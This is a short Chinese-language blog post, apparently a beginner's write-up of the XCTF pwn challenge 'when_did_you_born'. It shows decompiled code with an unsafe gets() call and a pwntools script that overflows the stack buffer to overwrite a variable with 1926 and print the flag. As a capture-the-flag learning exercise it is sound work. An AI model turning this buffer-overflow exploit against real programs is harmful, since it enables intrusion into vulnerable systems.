xctf pwn when_did_you_born

原创

菜逼的ctf之路 于 2020-09-29 21:37:50 发布 70 收藏 1

XCTF when_did_you_born

第一次写博客，写的不好，请多指教。
首先，看ida代码

```
{
  __int64 result; // rax
  char v4; // [rsp+0h] [rbp-20h]
  unsigned int v5; // [rsp+8h] [rbp-18h]
  unsigned __int64 v6; // [rsp+18h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setbuf(stdin, 0LL);
  setbuf(stdout, 0LL);
  setbuf(stderr, 0LL);
  puts("What's Your Birth?");
  __isoc99_scanf("%d", &v5);
  while ( getchar() != 10 )
    ;
  if ( v5 == 1926 )
  {
    puts("You Cannot Born In 1926!");
    result = 0LL;
  }
  else
  {
    puts("What's Your Name?");
    gets(&v4);
    printf("You Are Born In %d\n", v5);
    if ( v5 == 1926 )
    {
      puts("You Shall Have Flag.");
      system("cat flag");
    }
    else
    {
      puts("You Are Naive.");
      puts("You Speed One Second Here.");
    }
    result = 0LL;
```


(当时因为比较简单就没看汇编)
看代码，v4和v5之间只差8字节，利用栈覆盖，用8个数据填充v4，然后把第一次的v5覆盖掉(第一次v5可以是除了1926的任意数，第二次输出v4的时候利用栈覆盖，把原来的v5覆盖成1926)
最后贴出萌新的脚本

```python
from pwn import *
io=remote("220.249.52.133",31846)
io.recvuntil("What's Your Birth?")
io.sendline("1")
payload="1"*8+p32(1926)
io.recvuntil("What's Your Name?")
io.sendline(payload)
io.interactive()
```

(这种题比较容易，有问题可以私聊)